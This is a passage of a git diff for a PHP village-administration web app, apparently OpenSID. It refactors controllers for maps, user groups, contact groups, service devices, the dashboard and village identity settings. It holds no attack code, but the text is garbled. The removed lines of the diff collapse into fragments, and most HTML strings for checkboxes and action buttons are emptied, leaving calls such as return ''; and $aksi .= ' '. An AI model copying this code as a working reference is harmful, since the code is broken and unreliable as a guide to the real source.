$this->redirect_hak_akses('h'); + $this->plan_garis_model->delete($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->plan_garis_model->delete_all(); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function garis_lock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_garis_model->garis_lock($id, 1); + + redirect($this->controller); + } + + public function garis_unlock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_garis_model->garis_lock($id, 2); + + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Gawai_layanan.php b/donjo-app/controllers/Gawai_layanan.php index b220e01f4..ca67d6f05 100644 --- a/donjo-app/controllers/Gawai_layanan.php +++ b/donjo-app/controllers/Gawai_layanan.php @@ -1,521 +1,201 @@ -modul_ini = 'layanan-mandiri'; + $this->sub_modul_ini = 'gawai-layanan'; + } + + public function index() + { + return view('admin.gawai_layanan.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(AnjunganModel::where('tipe', 2)) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + $url_kunci = site_url("gawai_layanan/kunci/{$row->id}"); + + if ($row->status) { + $aksi .= ' '; + } else { + $aksi .= ' '; + } + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->editColumn('ip_address_port_printer', static function ($row) { + return $row->printer_ip ?: '-' . ':' . $row->printer_port ?: '-'; + }) + ->editColumn('keyboard', static function ($row) { + return '' . StatusEnum::valueOf($row->keyboard) . ''; + }) + ->editColumn('status', static function ($row) { + return '' . StatusEnum::valueOf($row->status) . ''; + }) + ->rawColumns(['ceklist', 'aksi', 'keyboard', 'status']) + ->make(); + } + + return show_404(); + } + + public function form($id = null) + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['action'] = 'Ubah'; + $data['form_action'] = route('gawai_layanan.update', $id); + $data['gawai_layanan'] = AnjunganModel::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['form_action'] = route('gawai_layanan.insert'); + $data['gawai_layanan'] = null; + } + + return view('admin.gawai_layanan.form', $data); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (AnjunganModel::create(static::validated($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = null) + { + $this->redirect_hak_akses('u'); + + $data = AnjunganModel::findOrFail($id); + + if ($data->update(static::validated($this->request, $id))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (AnjunganModel::destroy($id ?? $this->request['id_cb'])) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + public function kunci($id = null, $val = StatusEnum::TIDAK) + { + $this->redirect_hak_akses('u'); + + $kunci = AnjunganModel::findOrFail($id); + $kunci->update(['status' => ($val == StatusEnum::YA) ? StatusEnum::TIDAK : StatusEnum::YA]); + + redirect_with('success', 'Berhasil Ubah Data'); + } + + // Hanya filter inputan + protected static function validated($request = [], $id = null) + { + $anjungan = AnjunganModel::find($id); + $ip_address = AnjunganModel::tipe(2)->where('ip_address', $request['ip_address'])->first(); + $mac_address = AnjunganModel::tipe(2)->where('mac_address', $request['mac_address'])->first(); + $id_pengunjung = AnjunganModel::tipe(2)->where('id_pengunjung', $request['id_pengunjung'])->first(); + + if ($ip_address && $anjungan->ip_address != $request['ip_address']) { + redirect_with('error', 'IP Address telah digunakan'); + } + + if ($mac_address && $anjungan->mac_address != $request['mac_address']) { + redirect_with('error', 'Mac Address telah digunakan'); + } + + if ($id_pengunjung && $anjungan->id_pengunjung != $request['id_pengunjung']) { + redirect_with('error', 'ID Pengunjung telah digunakan'); + } + + $validated = [ + 'ip_address' => bilangan_titik($request['ip_address']), + 'mac_address' => alfanumerik_kolon($request['mac_address']), + 'id_pengunjung' => alfanumerik($request['id_pengunjung']), + 'printer_ip' => bilangan_titik($request['printer_ip']), + 'printer_port' => bilangan($request['printer_port']), + 'keyboard' => bilangan($request['keyboard']), + 'keterangan' => htmlentities($request['keterangan']), + 'tipe' => 2, + ]; + + if ($id) { + $validated['created_by'] = $validated['updated_by'] = auth()->id; + } else { + $validated['created_by'] = auth()->id; + } + + return $validated; + } +} diff --git a/donjo-app/controllers/Gis.php b/donjo-app/controllers/Gis.php index 8297357d1..7e3781a12 100644 --- a/donjo-app/controllers/Gis.php +++ b/donjo-app/controllers/Gis.php @@ -1,441 +1,332 @@ -load->model('penduduk_model'); + $this->load->model('plan_lokasi_model'); + $this->load->model('plan_area_model'); + $this->load->model('plan_garis_model'); + $this->load->model('pembangunan_model'); + $this->load->model('pembangunan_dokumentasi_model'); + $this->load->model('data_persil_model'); + + $this->load->model('wilayah_model'); + $this->modul_ini = 'pemetaan'; + $this->sub_modul_ini = 'peta'; + $this->header['kategori'] = 'peta'; + } + + public function clear() + { + $this->session->unset_userdata([ + 'log', 'cari', 'filter', 'sex', + 'warganegara', 'fisik', 'mental', 'menahun', + 'golongan_darah', 'dusun', 'rw', 'rt', + 'agama', 'umur_min', 'umur_max', 'pekerjaan_id', + 'status', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk', + 'layer_penduduk', 'layer_keluarga', 'layer_wilayah', 'layer_lokasi', 'layer_area', + ]); + + $this->session->set_userdata('layer_keluarga', 0); + + redirect('gis'); + } + + public function index() + { + $list_session = ['filter', 'sex', 'cari', 'umur_min', 'umur_max', 'pekerjaan_id', 'status', 'agama', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk']; + + foreach ($list_session as $session) { + $data[$session] = $this->session->userdata($session) ?: ''; + } + + if (isset($_SESSION['dusun'])) { + $data['dusun'] = $_SESSION['dusun']; + $data['list_rw'] = $this->wilayah_model->list_rw($data['dusun']); + if (isset($_SESSION['rw'])) { + $data['rw'] = $_SESSION['rw']; + $data['list_rt'] = $this->wilayah_model->list_rt($data['dusun'], $data['rw']); + if (isset($_SESSION['rt'])) { + $data['rt'] = $_SESSION['rt']; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = ''; + $data['rw'] = ''; + $data['rt'] = ''; + } + $variabel_sesi = ['layer_penduduk', 'layer_keluarga', 'layer_desa', 'layer_wilayah', 'layer_lokasi', 'layer_area', 'layer_dusun', 'layer_rw', 'layer_rt', 'layer_garis']; + + foreach ($variabel_sesi as $variabel) { + $data[$variabel] = $this->session->userdata($variabel) ?: 0; + } + + $data['list_status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status'); + $data['list_jenis_kelamin'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['wilayah'] = $this->wilayah_model->list_wil(); + $data['desa'] = $this->header['desa']; + $data['lokasi'] = $this->plan_lokasi_model->list_lokasi(); + $data['garis'] = $this->plan_garis_model->list_garis(); + $data['area'] = $this->plan_area_model->list_area(); + $data['lokasi_pembangunan'] = $this->pembangunan_model->list_lokasi_pembangunan(); + $data['penduduk'] = $this->penduduk_model->list_data_map(); + $data['keyword'] = $this->penduduk_model->autocomplete(); + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['list_ref'] = $this->referensi_model->list_ref(STAT_PENDUDUK); + $data['list_bantuan'] = collect(unserialize(STAT_BANTUAN))->toArray() + collect($this->program_bantuan_model->list_program(0))->pluck('nama', 'lap')->toArray(); + $data['persil'] = $this->data_persil_model->list_data(); + $this->render('gis/maps', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + if (empty($_SESSION['layer_penduduk']) && empty($_SESSION['layer_keluarga'])) { + $_SESSION['layer_penduduk'] = 1; + } + } else { + unset($_SESSION['cari']); + } + redirect('gis'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != '') { + $_SESSION['filter'] = $filter; + if (empty($_SESSION['layer_penduduk']) && empty($_SESSION['layer_keluarga'])) { + $_SESSION['layer_penduduk'] = 1; + } + } else { + unset($_SESSION['filter']); + } + redirect('gis'); + } + + public function layer_penduduk() + { + $layer_penduduk = $this->input->post('layer_penduduk'); + if ($layer_penduduk == '') { + $_SESSION['layer_penduduk'] = 0; + } else { + $_SESSION['layer_penduduk'] = 1; + $_SESSION['layer_keluarga'] = 0; + } + redirect('gis'); + } + + public function layer_wilayah() + { + $_SESSION['layer_wilayah'] = $this->input->post('layer_wilayah') ? 1 : 0; + redirect('gis'); + } + + public function layer_area() + { + $_SESSION['layer_area'] = $this->input->post('layer_area') ? 1 : 0; + redirect('gis'); + } + + public function layer_lokasi() + { + $_SESSION['layer_lokasi'] = $this->input->post('layer_lokasi') ? 1 : 0; + redirect('gis'); + } + + public function layer_keluarga() + { + $layer_keluarga = $this->input->post('layer_keluarga'); + if ($layer_keluarga == '') { + $_SESSION['layer_keluarga'] = 0; + } else { + $_SESSION['layer_keluarga'] = 1; + $_SESSION['layer_penduduk'] = 0; + } + redirect('gis'); + } + + public function sex() + { + $sex = $this->input->post('sex'); + if ($sex != '') { + $_SESSION['sex'] = $sex; + if (empty($_SESSION['layer_penduduk']) && empty($_SESSION['layer_keluarga'])) { + $_SESSION['layer_penduduk'] = 1; + } + } else { + unset($_SESSION['sex']); + } + redirect('gis'); + } + + public function dusun() + { + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $_SESSION['dusun'] = $dusun; + if (empty($_SESSION['layer_penduduk']) && empty($_SESSION['layer_keluarga'])) { + $_SESSION['layer_penduduk'] = 1; + } + } else { + unset($_SESSION['dusun']); + } + redirect('gis'); + } + + public function rw() + { + $rw = $this->input->post('rw'); + if ($rw != '') { + $_SESSION['rw'] = $rw; + if (empty($_SESSION['layer_penduduk']) && empty($_SESSION['layer_keluarga'])) { + $_SESSION['layer_penduduk'] = 1; + } + } else { + unset($_SESSION['rw']); + } + redirect('gis'); + } + + public function rt() + { + $rt = $this->input->post('rt'); + if ($rt != '') { + $_SESSION['rt'] = $rt; + if (empty($_SESSION['layer_penduduk']) && empty($_SESSION['layer_keluarga'])) { + $_SESSION['layer_penduduk'] = 1; + } + } else { + unset($_SESSION['rt']); + } + redirect('gis'); + } + + public function agama() + { + $agama = $this->input->post('agama'); + if ($agama != '') { + $_SESSION['agama'] = $agama; + if (empty($_SESSION['layer_penduduk']) && empty($_SESSION['layer_keluarga'])) { + $_SESSION['layer_penduduk'] = 1; + } + } else { + unset($_SESSION['agama']); + } + redirect('gis'); + } + + public function ajax_adv_search() + { + $list_session = ['umur_min', 'umur_max', 'pekerjaan_id', 'status', 'agama', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk']; + + foreach ($list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $data['input_umur'] = true; + $data['list_agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['list_pendidikan'] = $this->referensi_model->list_data('tweb_penduduk_pendidikan'); + $data['list_pendidikan_kk'] = $this->referensi_model->list_data('tweb_penduduk_pendidikan_kk'); + $data['list_pekerjaan'] = $this->referensi_model->list_data('tweb_penduduk_pekerjaan'); + $data['list_status_kawin'] = $this->referensi_model->list_data('tweb_penduduk_kawin'); + $data['list_status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status'); + $data['form_action'] = site_url('gis/adv_search_proses'); + + $this->load->view('sid/kependudukan/ajax_adv_search_form', $data); + } + + public function adv_search_proses() + { + $adv_search = $this->validasi_pencarian($this->input->post()); + $i = 0; + + while ($i++ < count($adv_search)) { + $col[$i] = key($adv_search); + next($adv_search); + } + $i = 0; + + while ($i++ < count($col)) { + if ($adv_search[$col[$i]] == '') { + unset($adv_search[$col[$i]]); + } else { + $_SESSION[$col[$i]] = $adv_search[$col[$i]]; + if (empty($_SESSION['layer_penduduk']) && empty($_SESSION['layer_keluarga'])) { + $_SESSION['layer_penduduk'] = 1; + } + } + } + redirect('gis'); + } + + private function validasi_pencarian($post) + { + $data['umur_min'] = bilangan($post['umur_min']); + $data['umur_max'] = bilangan($post['umur_max']); + $data['pekerjaan_id'] = $post['pekerjaan_id']; + $data['status'] = $post['status']; + $data['agama'] = $post['agama']; + $data['pendidikan_sedang_id'] = $post['pendidikan_sedang_id']; + $data['pendidikan_kk_id'] = $post['pendidikan_kk_id']; + $data['status_penduduk'] = $post['status_penduduk']; + + return $data; + } + + public function layer_garis() + { + $_SESSION['layer_garis'] = $this->input->post('layer_garis') ? 1 : 0; + redirect('gis'); + } +} diff --git a/donjo-app/controllers/Grup.php b/donjo-app/controllers/Grup.php index 2c8c52dfb..6b4ae8d74 100644 --- a/donjo-app/controllers/Grup.php +++ b/donjo-app/controllers/Grup.php @@ -1,449 +1,191 @@ -load->model('grup_model'); + $this->modul_ini = 'pengaturan'; + $this->sub_modul_ini = 'pengguna'; + $this->set_page = ['20', '50', '100']; + $this->list_session = ['jenis', 'cari']; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->set_page[0]; + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + $this->tab_ini = 11; + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->grup_model->paging($p, $o); + $data['main'] = $this->grup_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['list_jenis_grup'] = $this->grup_model->list_jenis_grup(); + $data['keyword'] = $this->grup_model->autocomplete(); + + $this->render('grup/table', $data); + } + + public function filter($filter) + { + $this->session->{$filter} = $this->input->post($filter) ?: null; + redirect($this->controller); + } + + public function form($p = 1, $o = 0, $id = '', $view = false) + { + if (! $view && in_array($id, UserGrup::getGrupSistem())) { + session_error('Grup Pengguna Tidak Dapat Diubah'); + redirect($this->controller); + } + + if (! $view) { + $this->redirect_hak_akses('u'); + } + $data['p'] = $p; + $data['o'] = $o; + $data['view'] = $view; + $data['list_akses_modul'] = $this->grup_model->grup_akses((int) $id); + $data['list_akses_submodul'] = $this->grup_model->akses_submodul((int) $id); + // Centang modul jika ada akses submodul + foreach ($data['list_akses_modul'] as $key => $akses_modul) { + foreach ($data['list_akses_submodul'][$akses_modul['id']] as $akses_submodul) { + if ($akses_submodul['ada_akses'] == 1) { + $data['list_akses_modul'][$key]['ada_akses'] = 1; + } + } + } + if ($id) { + $data['grup'] = $this->grup_model->get_grup($id); + $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}"); + } else { + $data['grup'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $this->render('grup/form', $data); + } + + public function search() + { + $this->session->cari = $this->input->post('cari') ?: null; + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->set_form_validation(); + if ($this->form_validation->run() !== true) { + $this->session->success = -1; + $this->session->error_msg = trim(validation_errors()); + redirect("{$this->controller}/form"); + } else { + $this->grup_model->insert(); + redirect($this->controller); + } + } + + private function set_form_validation() + { + $this->load->helper('form'); + $this->load->library('form_validation'); + $this->form_validation->set_error_delimiters('', ''); + $this->form_validation->set_rules('nama', 'Nama Grup', 'required|callback_syarat_nama'); + $this->form_validation->set_message('nama', 'Hanya boleh berisi karakter alfanumerik, spasi dan strip'); + $this->form_validation->set_rules('modul[]', 'Akses Modul', 'required'); + } + + public function syarat_nama($str) + { + return ! preg_match('/[^a-zA-Z0-9 \\-]/', $str); + } + + public function update($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->set_form_validation(); + + if ($this->form_validation->run() !== true) { + $this->session->success = -1; + $this->session->error_msg = trim(validation_errors()); + redirect("grup/form/{$p}/{$o}/{$id}"); + } else { + $this->grup_model->update($id); + redirect("grup/index/{$p}/{$o}"); + } + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + $this->grup_model->delete($id); + redirect("grup/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->grup_model->delete_all(); + redirect("grup/index/{$p}/{$o}"); + } +} diff --git a/donjo-app/controllers/Grup_kontak.php b/donjo-app/controllers/Grup_kontak.php index 999962f93..28b6d35df 100644 --- a/donjo-app/controllers/Grup_kontak.php +++ b/donjo-app/controllers/Grup_kontak.php @@ -1,505 +1,308 @@ -modul_ini = 'hubung-warga'; + $this->sub_modul_ini = 'daftar-kontak'; + $this->header['kategori'] = 'hubung warga'; + } + + public function index() + { + return view('admin.grup_kontak.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables(GrupKontak::withCount('anggota')) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + $aksi .= ' '; + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function form($id = null) + { + $this->redirect_hak_akses('u'); + + if ($id) { + $action = 'Ubah'; + $formAction = route('grup_kontak.update', $id); + $grupKontak = GrupKontak::findOrFail($id); + } else { + $action = 'Tambah'; + $formAction = route('grup_kontak.insert'); + $grupKontak = null; + } + + return view('admin.grup_kontak.form', compact('action', 'formAction', 'grupKontak')); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (GrupKontak::create(static::validate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = null) + { + $this->redirect_hak_akses('u'); + + $data = GrupKontak::findOrFail($id); + + if ($data->update(static::validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (GrupKontak::destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + // Hanya filter inputan + protected static function validate($request = []) + { + return [ + 'nama_grup' => nama_terbatas($request['nama_grup']), + 'keterangan' => htmlentities($request['keterangan']), + ]; + } + + // Anggota Grup + public function anggota($id = null) + { + $grupKontak = GrupKontak::findOrFail($id); + + return view('admin.grup_kontak.anggota.index', compact('grupKontak')); + } + + public function anggotaDatatables($id_grup = null) + { + if ($this->input->is_ajax_request()) { + return datatables()->of(AnggotaGrup::where('id_grup', $id_grup)->dataAnggota()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + if (can('h')) { + return ' '; + } + }) + ->addColumn('kontak', static function ($row) { + return (null === $row->id_kontak) ? 'Penduduk' : 'Eksternal'; + }) + ->rawColumns(['ceklist', 'aksi', 'kontak']) + ->make(); + } + + return show_404(); + } + + public function anggotaForm($id_grup = null) + { + $this->redirect_hak_akses('u'); + + $action = 'Tambah'; + $formAction = route('grup_kontak.anggotainsert'); + $grupKontak = GrupKontak::find($id_grup) ?? show_404(); + + return view('admin.grup_kontak.anggota.form', compact('action', 'formAction', 'grupKontak')); + } + + public function anggotaInsert() + { + $this->redirect_hak_akses('u'); + + if (AnggotaGrup::insert(static::anggotaValidate($this->request))) { + set_session('success', 'Berhasil Tambah Data'); + } else { + set_session('error', 'Gagal Tambah Data'); + } + + redirect("grup_kontak/anggota/{$this->request['id_grup']}"); + } + + public function anggotaDelete($id = null) + { + $this->redirect_hak_akses('h'); + + if (AnggotaGrup::destroy($this->request['id_cb'] ?? $id)) { + set_session('success', 'Berhasil Hapus Data'); + } else { + set_session('error', 'Gagal Hapus Data'); + } + + redirect($_SERVER['HTTP_REFERER']); + } + + // Hanya filter inputan + protected static function anggotaValidate($request = []) + { + $penduduk = []; + if ($request['id_penduduk']) { + foreach ($request['id_penduduk'] as $key => $value) { + $penduduk[$key]['config_id'] = identitas('id'); + $penduduk[$key]['id_grup'] = (int) bilangan($request['id_grup']); + $penduduk[$key]['id_kontak'] = null; + $penduduk[$key]['id_penduduk'] = (int) bilangan($value); + $penduduk[$key]['created_at'] = Carbon::now(); + $penduduk[$key]['updated_at'] = Carbon::now(); + } + } + + $kontak = []; + if ($request['id_kontak']) { + foreach ($request['id_kontak'] as $key => $value) { + $kontak[$key]['config_id'] = identitas('id'); + $kontak[$key]['id_grup'] = (int) bilangan($request['id_grup']); + $kontak[$key]['id_kontak'] = (int) bilangan($value); + $kontak[$key]['id_penduduk'] = null; + $kontak[$key]['created_at'] = Carbon::now(); + $kontak[$key]['updated_at'] = Carbon::now(); + } + } + + return array_merge($penduduk, $kontak); + } + + public function penduduk($id_grup = null) + { + if ($this->input->is_ajax_request()) { + $id_penduduk = AnggotaGrup::where('id_grup', $id_grup) + ->whereNotNull('id_penduduk') + ->pluck('id_penduduk'); + + $datatables = Penduduk::select(['id', 'nama', 'telepon', 'email', 'telegram', 'hubung_warga']) + ->whereNotIn('id', $id_penduduk) + ->where(static function ($query) { + return $query->whereNotNull('telepon') + ->orWhereNotNull('email') + ->orWhereNotNull('telegram'); + }) + ->status(); + + return datatables($datatables) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->rawColumns(['ceklist']) + ->make(); + } + + return show_404(); + } + + public function kontak($id_grup = null) + { + if ($this->input->is_ajax_request()) { + $id_kontak = AnggotaGrup::where('id_grup', $id_grup) + ->whereNotNull('id_kontak') + ->pluck('id_kontak'); + + $datatables = DaftarKontak::where(static function ($query) { + return $query->whereNotNull('telepon') + ->orWhereNotNull('email') + ->orWhereNotNull('telegram'); + }) + ->whereNotIn('id_kontak', $id_kontak); + + return datatables($datatables) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->rawColumns(['ceklist']) + ->make(); + } + + return show_404(); + } +} diff --git a/donjo-app/controllers/Hom_sid.php b/donjo-app/controllers/Hom_sid.php index 967ec16ac..e3606dbc1 100644 --- a/donjo-app/controllers/Hom_sid.php +++ b/donjo-app/controllers/Hom_sid.php @@ -1,473 +1,146 @@ -isAdmin = $this->session->isAdmin->pamong; + } + + public function index() + { + get_pesan_opendk(); //ambil pesan baru di opendk + + $this->modul_ini = 'home'; + + $this->load->library('saas'); + + $data = [ + 'rilis' => $this->getUpdate(), + 'bantuan' => $this->bantuan(), + 'penduduk' => Penduduk::status()->count(), + 'keluarga' => Keluarga::status()->count(), + 'rtm' => Rtm::status()->count(), + 'kelompok' => Kelompok::status()->tipe()->count(), + 'dusun' => Wilayah::dusun()->count(), + 'pendaftaran' => PendudukMandiri::status()->count(), + 'surat' => $this->logSurat(), + 'saas' => $this->saas->peringatan(), + 'notif_langganan' => $this->pelanggan_model->status_langganan(), + ]; + + return view('admin.home.index', $data); + } + + private function getUpdate() + { + if (cek_koneksi_internet() && ! config_item('demo_mode')) { + $url_rilis = ($this->validasi_akses() && PREMIUM) ? config_item('rilis_premium') : config_item('rilis_umum'); + + $release = new Release(); + $release->setApiUrl($url_rilis)->setCurrentVersion($this->versi_setara); + + if ($release->isAvailable()) { + $info['update_available'] = $release->isAvailable(); + $info['current_version'] = 'v' . AmbilVersi(); + $info['latest_version'] = $release->getLatestVersion() . (PREMIUM ? '-premium' : ''); + $info['release_name'] = $release->getReleaseName(); + $info['release_body'] = $release->getReleaseBody(); + $info['url_download'] = $release->getReleaseDownload(); + + if ($this->versi_setara) { + $info['current_version'] .= '(' . $release->getCurrentVersion() . ')'; + } + } else { + $info['update_available'] = false; + } + } + + return $info; + } + + private function bantuan() + { + $program = Bantuan::with('peserta')->whereId($this->setting->dashboard_program_bantuan)->first(); + $bantuan['jumlah'] = $program ? $program->peserta->count() : Bantuan::status()->count(); + $bantuan['nama'] = $program ? $program->nama : 'Bantuan'; + $bantuan['link_detail'] = $program ? ('statistik/clear/50' . $this->setting->dashboard_program_bantuan) : 'program_bantuan'; + $bantuan['program'] = Bantuan::status()->pluck('nama', 'id'); + + return $bantuan; + } + + protected function logSurat() + { + return LogSurat::whereNull('deleted_at') + ->when($this->isAdmin->jabatan_id == kades()->id, static function ($q) { + return $q->when(setting('tte') == 1, static function ($tte) { + return $tte->where('tte', '=', 1); + }) + ->when(setting('tte') == 0, static function ($tte) { + return $tte->where('verifikasi_kades', '=', '1'); + }) + ->orWhere(static function ($verifikasi) { + $verifikasi->whereNull('verifikasi_operator'); + }); + }) + ->when($this->isAdmin->jabatan_id == sekdes()->id, static function ($q) { + return $q->where('verifikasi_sekdes', '=', '1')->orWhereNull('verifikasi_operator'); + }) + ->when($this->isAdmin == null || ! in_array($this->isAdmin->jabatan_id, RefJabatan::getKadesSekdes()), static function ($q) { + return $q->where('verifikasi_operator', '=', '1')->orWhereNull('verifikasi_operator'); + })->count(); + } +} diff --git a/donjo-app/controllers/Identitas_desa.php b/donjo-app/controllers/Identitas_desa.php index baf6f5318..791c3c174 100644 --- a/donjo-app/controllers/Identitas_desa.php +++ b/donjo-app/controllers/Identitas_desa.php @@ -1,529 +1,359 @@ -modul_ini = 'info-desa'; + $this->sub_modul_ini = 'identitas-desa'; + + if (Schema::hasTable('ref_jabatan')) { + $this->cek_kades = Pamong::kepalaDesa()->exists(); + // TODO: Cek bagian ini selalu bermasalah jika model penduduk atau pamong aktifkan global observer config_id + $config = Config::appKey()->first(); + $this->identitas_desa = $config ? $config->toArray() : null; + } + } + + /** + * View index identitas desa + * + * @return void + */ + public function index() + { + return view('admin.identitas_desa.index', [ + 'main' => $this->identitas_desa, + 'cek_kades' => $this->cek_kades, + ]); + } + + /** + * View form ubah identitas desa + * + * @return void + */ + public function form() + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->identitas_desa; + $data['cek_kades'] = $this->cek_kades; + $data['form_action'] = route('identitas_desa.update'); + $data['nomor_operator'] = Schema::hasColumn('config', 'nomor_operator'); + $data['status_pantau'] = checkWebsiteAccessibility(config_item('server_pantau')) ? 1 : 0; + + return view('admin.identitas_desa.form', $data); + } + + /** + * Proses tambah identitas desa + * + * @return void + */ + public function insert() + { + $this->redirect_hak_akses('u'); + + if (Config::create($this->validate($this->request))) { + return json([ + 'status' => true, + ]); + } + + return json([ + 'status' => false, + ]); + } + + /** + * Proses ubah identitas desa + * + * @return void + */ + public function update() + { + $this->redirect_hak_akses('u'); + + $id = $this->identitas_desa['id']; + $validate = $this->validate($this->request, $id); + + $cek = $this->cek_kode_wilayah($validate); + if ($cek['status'] && Config::find($id)->update($validate)) { + return json(['status' => true]); + } + + return json(['status' => false, 'message' => $cek['message']]); + } + + /** + * View Form Ubah Peta + * + * @param string $tipe + * + * @return void + */ + public function maps($tipe = 'kantor') + { + $data_desa = $this->identitas_desa; + $data['desa'] = $data_desa; + $data['poly'] = ($tipe == 'wilayah') ? 'multi' : 'poly'; + $data['wil_ini'] = $data_desa; + $data['wil_atas'] = $data_desa; + $data['dusun_gis'] = Wilayah::dusun()->get(); + $data['rw_gis'] = Wilayah::rw()->get(); + $data['rt_gis'] = Wilayah::rt()->get(); + $data['nama_wilayah'] = ucwords(setting('sebutan_desa') . ' ' . $data_desa->nama_desa); + $data['wilayah'] = ucwords(setting('sebutan_desa') . ' ' . $data_desa->nama_desa); + $data['breadcrumb'] = [ + ['link' => route('identitas_desa'), 'judul' => 'Identitas ' . ucwords(setting('sebutan_desa'))], + ]; + + $data['form_action'] = route('identitas_desa.update_maps', $tipe); + + $this->render('sid/wilayah/maps_' . $tipe, $data); + } + + /** + * Proses ubah peta + * + * @param string $tipe + * + * @return void + */ + public function update_maps($tipe = 'kantor') + { + $this->redirect_hak_akses('u'); + + $data['zoom'] = bilangan($this->request['zoom']); + + if ($tipe == 'kantor') { + $data['lat'] = koordinat($this->request['lat']); + $data['lng'] = koordinat($this->request['lng']); + } else { + $data['path'] = htmlentities($this->request['path']); + $data['warna'] = warna($this->request['warna']); + } + + if (Config::find($this->identitas_desa['id'])->update($data)) { + redirect_with('success', 'Berhasil Ubah Peta ' . ucwords($tipe)); + } + + redirect_with('error', 'Gagal Ubah Peta ' . ucwords($tipe)); + } + + /** + * Proses kosongkan path peta + * + * @param string $id + * + * @return void + */ + public function kosongkan() + { + $this->redirect_hak_akses('u'); + + if (Config::find($this->identitas_desa['id'])->update(['path' => null])) { + redirect_with('success', 'Berhasil Kosongkan Peta'); + } + redirect_with('error', 'Gagal Kosongkan Peta'); + } + + // Hanya filter inputan + protected static function validate($request = []) + { + $data = []; + if ($request['ukuran'] == '') { + $request['ukuran'] = 100; + } + + $config = [ + 'logo' => static::unggah('logo', true, bilangan($request['ukuran'])) ?? $request['old_logo'], + 'kantor_desa' => static::unggah('kantor_desa') ?? $request['old_kantor_desa'], + 'nama_desa' => nama_desa($request['nama_desa']), + 'kode_desa' => bilangan($request['kode_desa']), + 'kode_pos' => bilangan($request['kode_pos']), + 'alamat_kantor' => alamat($request['alamat_kantor']), + 'email_desa' => email($request['email_desa']), + 'telepon' => bilangan($request['telepon']), + 'website' => alamat_web($request['website']), + 'nama_kecamatan' => nama_desa($request['nama_kecamatan']), + 'kode_kecamatan' => bilangan($request['kode_kecamatan']), + 'nama_kepala_camat' => 